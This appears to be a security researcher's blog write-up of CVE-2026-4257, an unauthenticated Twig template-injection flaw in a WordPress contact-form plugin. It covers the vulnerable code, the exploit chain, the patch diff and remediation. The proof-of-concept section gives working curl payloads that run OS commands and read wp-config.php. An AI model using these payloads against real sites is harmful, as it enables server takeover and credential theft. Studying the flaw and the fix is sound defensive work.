CVE-2026-4257: SSTI to RCE in Contact Form by Supsystic

CVE-2026-4257: SSTI to RCE in Contact Form by Supsystic

CVE-2026-4257 is a CVSS 9.8 Critical unauthenticated Server-Side Template Injection (SSTI) vulnerability in the Contact Form by Supsystic WordPress plugin. It allows any unauthenticated attacker to inject arbitrary Twig template expressions into form field values via a single GET parameter, escalating directly to Remote Code Execution (RCE) on the server.

Vulnerability Summary

FieldValue
Plugin NameContact Form by Supsystic
Plugin Slugcontact-form-by-supsystic
CVE IDCVE-2026-4257
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeImproper Control of Generation of Code (‘Code Injection’) / SSTI → RCE
Affected Versions<= 1.7.36
Patched Version1.8.0
PublishedMarch 30, 2026
ResearcherAzril Fathoni (kiseki) — Heroes Cyber Security
Wordfence AdvisoryLink

Description

The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig Twig_Loader_String template engine without sandboxing, combined with the cfsPreFill prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig’s registerUndefinedFilterCallback() method to register arbitrary PHP callbacks.


Technical Analysis

The vulnerability is a two-part SSTI chain. Neither component is exploitable in isolation — together they produce a zero-click, unauthenticated RCE.

Component 1 — Unsandboxed Twig Environment

File: modules/forms/views/forms.php, method _initTwig() (v1.7.36):

protected function _initTwig() {
    if(!$this->_twig) {
        if(!class_exists('Twig_Autoloader')) {
            require_once(CFS_CLASSES_DIR. 'Twig'. DS. 'Autoloader.php');
        }
        Twig_Autoloader::register();
        // ❌ No sandbox — Twig_Loader_String renders any string as a full template
        $this->_twig = new Twig_Environment(new Twig_Loader_String(), array('debug' => 0));
        $this->_twig->addFunction(new Twig_SimpleFunction('adjust_brightness', ...));
        $this->_twig->addFunction(new Twig_SimpleFunction('adjust_opacity',    ...));
        $this->_twig->addFunction(new Twig_SimpleFunction('hex_to_rgba_str',   ...));
    }
}

Twig_Loader_String treats every string passed to render() as a fully trusted Twig template. Without Twig_Extension_Sandbox, there is no restriction on which PHP functions or Twig internals can be accessed.

Twig’s _self global variable exposes the current Twig_Environment instance. The method registerUndefinedFilterCallback() on the environment allows registering any PHP callable as a Twig filter by name — which is then invoked by calling getFilter() with that name. This is the classic unsandboxed Twig RCE gadget chain.

Component 2 — Unauthenticated Prefill Injects User Input into the Template

File: modules/forms/views/forms.php, method showForm() (lines 323–331, v1.7.36):

if(!empty($_GET['cfsPreFill']) && !empty($form['params']['fields'])) {
    foreach($form['params']['fields'] as &$field) {
        // ❌ sanitize_text_field() does NOT strip Twig delimiters {{ }} {% %}
        $fieldVal   = (isset($_GET[$field['name']]) ? sanitize_text_field($_GET[$field['name']]) : false);
        $fieldValue = isset($_GET['cfs_'.$field['name']]) ? sanitize_text_field($_GET['cfs_'.$field['name']]) : $fieldVal;
        if(isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
            $field['value'] = $fieldValue;   // ❌ attacker-controlled value stored directly
        }
    }
}

No authentication check gates this code path. Any visitor can trigger cfsPreFill by appending ?cfsPreFill=1 to a request to any WordPress page that renders a Contact Form by Supsystic shortcode.

sanitize_text_field() strips HTML tags and extra whitespace — but it explicitly preserves curly braces ({, }). Twig’s delimiters ({{, }}, {%, %}) are pure ASCII punctuation, entirely untouched.

Component 3 — Attacker Value Flows Into the Twig Template Source

File: modules/forms/views/forms.php, method generateHtml() (lines 430–474, v1.7.36):

public function generateHtml($form, $params = array()) {
    $this->_initTwig();
    // ...
    // (1) generates <input> HTML with attacker value embedded verbatim
    $form['params']['tpl']['fields'] = $this->generateFields( $form );

    // (2) splices that HTML into the form template string via str_replace
    $form['html'] = $this->_replaceTagsWithTwig( $form['html'], $form );

    // (3) renders the template — Twig evaluates any {{ }} it finds
    return $this->_twig->render(
        '<style ...>' . $form['css'] . '</style>'
        . '<div id="...">' . $form['html'] . '</div>',
        array('forms' => $form)
    );
}

generateFields() calls htmlCfs::text() which embeds $field['value'] directly into the HTML output with no escaping (in the vulnerable classes/html.php, line 82):

// classes/html.php v1.7.36 — no esc_attr(), value concatenated raw
return '<input type="'. $params['type']. '" name="'. $name. '" value="'. $params['value']. '" ... />';

_replaceTagsWithTwig() then performs a str_replace('[fields]', $generatedFieldsHtml, $form['html']) — directly splicing the attacker-controlled <input value="{{...}}"> into the raw Twig template string. When $this->_twig->render() is called, Twig parses and executes the injected expression.

Full Execution Chain

GET ?cfsPreFill=1&fieldname={{...RCE payload...}}


showForm() → $field['value'] = sanitize_text_field(GET param)
             [sanitize preserves {{ and }} — Twig syntax survives]


generateFields() → htmlCfs::text() → '<input value="{{...}}" />'
                   [no esc_attr() in v1.7.36 — value concatenated raw]


_replaceTagsWithTwig() → str_replace('[fields]', '<input value="{{...}}" />', $form['html'])
                         [attacker HTML is now part of the Twig template source]


Twig_Environment::render($form['html']) → evaluates {{ ... }}
[no sandbox — _self.env is accessible]


registerUndefinedFilterCallback("system") + getFilter("id")


system("id") executed on the server  ← Full RCE

Root Cause

Two independent design flaws that combine to produce full RCE:

  1. No Twig sandboxing. The plugin uses Twig_Loader_String without Twig_Extension_Sandbox. Any string rendered by Twig is treated as a trusted template, giving access to _self.env and all PHP callables.

  2. Unfiltered user input merged into the Twig template source. The cfsPreFill feature copies GET parameters (only HTML-tag-stripped) directly into form field values. Those values are embedded into the Twig template string before rendering, not passed as inert context data.

Why Existing Controls Failed

ControlWhy it failed
sanitize_text_field()Strips HTML tags and extra whitespace only. Curly braces { and } are not special HTML characters — they pass through untouched. Twig’s {{, }}, {%, %} delimiters survive intact.
No authentication/nonce gateThe cfsPreFill branch is entered solely based on a GET parameter being non-empty. Zero authentication is required.
htmlCfs::input() (v1.7.36)Concatenates $params['value'] directly into the HTML string without esc_attr(), providing no secondary barrier even if the value had been sanitized.

Attack Impact

An unauthenticated remote attacker can execute arbitrary OS commands with the privileges of the web server process (typically www-data/apache). This enables:

CVSS 9.8 (Critical) — no privileges, no user interaction, full Confidentiality / Integrity / Availability impact.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.

Prerequisites


Step 1: Identify a Form Page and Field Name

View the source of a page containing the form and locate an input field:

<input type="text" name="fields[your-name]" value="" ... />

The field name here is your-name.


Step 2: Verify SSTI with a Safe Math Expression

Inject a benign Twig expression and confirm it is evaluated server-side:

curl -s "https://target.example.com/contact/?cfsPreFill=1&your-name={{7*7}}" \
  | grep -o 'value="[^"]*"' | head -5

Expected result: the rendered HTML contains value="49" — confirming Twig is evaluating the injected expression.


Step 3: Register a PHP Callable as a Twig Filter

Use Twig’s registerUndefinedFilterCallback() to register PHP’s system() function as a filter named arbitrarily, then call getFilter() with the OS command as the filter name:

curl -s -g "https://target.example.com/contact/?cfsPreFill=1&your-name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"

The output of id appears inline in the rendered page body.


Step 4: Extract Command Output Cleanly

curl -s -g "https://target.example.com/contact/?cfsPreFill=1&your-name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}" \
  | grep -oP 'uid=\d+\([^)]+\) gid=\d+\([^)]+\)[^\<]*'

For file exfiltration (URL-encode spaces as +):

curl -s -g "https://target.example.com/contact/?cfsPreFill=1&your-name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('cat+/var/www/html/wp-config.php')}}"

Expected Result

The server executes the injected OS command and returns the output embedded in the HTTP response body — no authentication, no interaction required.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Patch Analysis

What Changed

The fix is a single targeted addition in modules/forms/views/forms.php inside the showForm() prefill block. A secondary defence-in-depth change was also made in classes/html.php.

Primary Fix — Escape Twig Delimiters Before Assignment

File: modules/forms/views/forms.php, v1.8.0 (line 369):

// Escape Twig template delimiters to prevent Server-Side Template Injection (SSTI/RCE).
// sanitize_text_field() does not strip curly braces, so an attacker can inject
// Twig expressions (e.g. {{_self.env.registerUndefinedFilterCallback(...)}})
// that get evaluated by Twig_Loader_String at render time.
$fieldValue = str_replace(['{', '}'], ['&#123;', '&#125;'], $fieldValue);
$field['value'] = $fieldValue;

By replacing every {&#123; and }&#125; before the value is stored, Twig delimiters can never form valid {{…}} or {%…%} sequences. When Twig subsequently receives the template string, there are no expressions to evaluate — the HTML entities are passed through as literal display characters.

Secondary Fix — esc_attr() on Input Values

File: classes/html.php, v1.8.0 (line 89):

$params['value'] = isset($params['value']) ? esc_attr($params['value']) : '';
return '<input type="' . $params['type'] . '" name="' . $name . '" value="' . $params['value'] . '" ...';

The patched htmlCfs::input() now calls esc_attr() before embedding the value in the HTML attribute. This closes a separate reflected XSS risk in the input value. Note that esc_attr() does not encode { or }, so it would not alone have prevented the SSTI — the str_replace in forms.php is the load-bearing fix.

Is the Fix Complete?

Yes, for this specific attack vector. The str_replace of {/} definitively breaks all Twig syntax injection via the prefill parameter. A more architecturally robust long-term fix would also enable Twig_Extension_Sandbox on the environment, so that no user-derived data can reach PHP internals regardless of how it enters the template — but that is not required to close CVE-2026-4257.

Code Diff (Key Changes)

--- a/modules/forms/views/forms.php  (1.7.36)
+++ b/modules/forms/views/forms.php  (1.8.0)
@@ -323,10 +360,14 @@
-        if(!empty($_GET['cfsPreFill']) && !empty($form['params']['fields'])) {
-            foreach($form['params']['fields'] as &$field) {
-                $fieldVal   = sanitize_text_field($_GET[$field['name']]);
-                $fieldValue = sanitize_text_field($_GET['cfs_'.$field['name']]);
-                if(isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
-                    $field['value'] = $fieldValue;
-                }
-            }
-        }
+      if (!empty($_GET['cfsPreFill']) && !empty($form['params']['fields'])) {
+        foreach ($form['params']['fields'] as &$field) {
+          $fieldVal   = sanitize_text_field($_GET[$field['name']]);
+          $fieldValue = sanitize_text_field($_GET['cfs_'.$field['name']]);
+          if (isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
+            // Escape Twig template delimiters to prevent SSTI/RCE
+            $fieldValue = str_replace(['{', '}'], ['&#123;', '&#125;'], $fieldValue);
+            $field['value'] = $fieldValue;
+          }
+        }
+      }

--- a/classes/html.php  (1.7.36)
+++ b/classes/html.php  (1.8.0)
-    $params['value'] = isset($params['value']) ? $params['value'] : '';
-    return '<input ... value="'. $params['value']. '" ...';
+    $params['value'] = isset($params['value']) ? esc_attr($params['value']) : '';
+    return '<input ... value="' . $params['value'] . '" ...';

Timeline

DateEvent
UnknownVulnerability discovered by Azril Fathoni (kiseki) — Heroes Cyber Security
March 30, 2026Publicly disclosed by Wordfence
March 30, 2026Patched version 1.8.0 released

Remediation

Update the contact-form-by-supsystic plugin to version 1.8.0 or later immediately.

No configuration-level workaround is viable short of deactivating the plugin. The cfsPreFill feature is triggered by a single GET parameter on any page rendering the shortcode — zero authentication is required and there is no way to restrict it at the WordPress level without modifying the plugin code.


References

  1. Wordfence Advisory — CVE-2026-4257
  2. CVE-2026-4257 on cve.org
  3. Vulnerable source — forms.php L323 (Trac)
  4. Patch changeset 3491826 (Trac)
  5. Researcher — Azril Fathoni (LinkedIn)
  6. Plugin on WordPress.org

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee